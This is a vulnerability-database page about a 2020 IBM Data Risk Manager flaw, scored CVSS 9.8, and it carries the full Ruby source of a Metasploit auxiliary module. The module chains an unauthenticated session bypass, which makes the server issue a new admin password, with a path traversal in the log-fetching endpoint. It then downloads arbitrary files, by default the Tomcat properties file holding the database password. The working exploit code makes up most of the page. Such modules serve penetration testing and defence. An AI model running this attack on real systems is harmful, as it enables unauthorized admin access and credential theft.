Lucene search

K
metasploitPedro Ribeiro <[email protected]>MSF:AUXILIARY-ADMIN-HTTP-IBM_DRM_DOWNLOAD-
HistoryApr 21, 2020 - 8:53 a.m.

IBM Data Risk Manager Arbitrary File Download

2020-04-2108:53:12
Pedro Ribeiro <[email protected]>
www.rapid7.com
22

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.961 High

EPSS

Percentile

99.5%

IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by an unauthenticated attacker to download arbitrary files off the system. The first is an unauthenticated bypass, followed by a path traversal. This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files. A downloaded file is zipped, and this module also unzips it before storing it in the database. By default this module downloads Tomcat’s application.properties files, which contains the database password, amongst other sensitive data. At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory. Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Data Risk Manager Arbitrary File Download',
        'Description' => %q{
          IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by
          an unauthenticated attacker to download arbitrary files off the system.
          The first is an unauthenticated bypass, followed by a path traversal.
          This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.
          A downloaded file is zipped, and this module also unzips it before storing it in the database.
          By default this module downloads Tomcat's application.properties files, which contains the
          database password, amongst other sensitive data.
          At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.
          Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'SSL' => true
        },
        'References' => [
          [ 'CVE', '2020-4427' ], # auth bypass
          [ 'CVE', '2020-4429' ], # insecure default password
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
          [ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']
        ],
        'DisclosureDate' => '2020-04-21',
        'Actions' => [
          ['Download', { 'Description' => 'Download arbitrary file' }]
        ],
        'DefaultAction' => 'Download',
        'Notes' => {
          'Reliability' => [ ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8443),
        OptString.new('TARGETURI', [ true, 'Default server path', '/']),
        OptString.new('FILEPATH', [
          false, 'Path of the file to download',
          '/home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties'
        ])
      ]
    )
  end

  def check
    # at the moment there is no better way to detect AND be stealthy about it
    session_id = Rex::Text.rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code == 302)
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Unknown
  end

  def create_session_id
    # step 1: create a session ID and try to make it stick
    session_id = Rex::Text.rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code != 302)
      fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
    end

    print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")

    session_id
  end

  def free_the_admin(session_id)
    # step 2: give the session ID to the server and have it grant us a free admin password
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
    post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
    post_data.add_part('admin', nil, nil, 'form-data; name="username"')
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
    post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
      fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")
    end

    password = Regexp.last_match(1)
    print_good("#{peer} - We have obtained a new admin password #{password}")

    password
  end

  def login_and_csrf(password)
    # step 3: login and get an authenticated cookie
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'),
      'method' => 'POST',
      'vars_post' => {
        'userName' => 'admin',
        'password' => password
      }
    })
    unless res && (res.code == 302) && res.get_cookies
      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")
    end

    print_good("#{peer} - ... and are authenticated as an admin!")
    cookie = res.get_cookies
    url = res.redirection.to_s

    # step 4: obtain CSRF header in order to be able to make valid requests
    res = send_request_cgi({
      'uri' => url,
      'method' => 'GET',
      'cookie' => cookie
    })

    unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")
    end
    csrf = Regexp.last_match(1)

    return cookie, csrf
  end

  def run
    # step 1: create a session ID and try to make it stick
    session_id = create_session_id

    # step 2: give the session ID to the server and have it grant us a free admin password
    password = free_the_admin(session_id)

    # step 3: login and get an authenticated cookie
    # step 4: obtain CSRF header in order to be able to make valid requests
    cookie, csrf = login_and_csrf(password)

    # step 5: download the file!
    post_data = {
      'instanceId' => 'local_host',
      'logLevel' => 'DEBUG',
      'logFileNameList' => "../../../../..#{datastore['FILEPATH']}"
    }.to_json

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'eurekaservice', 'fetchLogFiles'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf },
      'data' => post_data.to_s,
      'ctype' => 'text/json'
    })

    unless res && (res.code == 200) && !res.body.empty?
      fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
    end

    Zip::File.open_buffer(res.body) do |zipfile|
      # Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't
      # happen? Either we get nothing or a proper zip file.
      file = zipfile.find_entry(File.basename(datastore['FILEPATH']))
      unless file
        fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")
      end

      filedata = zipfile.read(file)
      vprint_line(filedata.to_s)
      fname = File.basename(datastore['FILEPATH'])

      path = store_loot(
        'IBM_DRM.http',
        'application/octet-stream',
        rhost,
        filedata,
        fname
      )
      print_good("File saved in: #{path}")
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.961 High

EPSS

Percentile

99.5%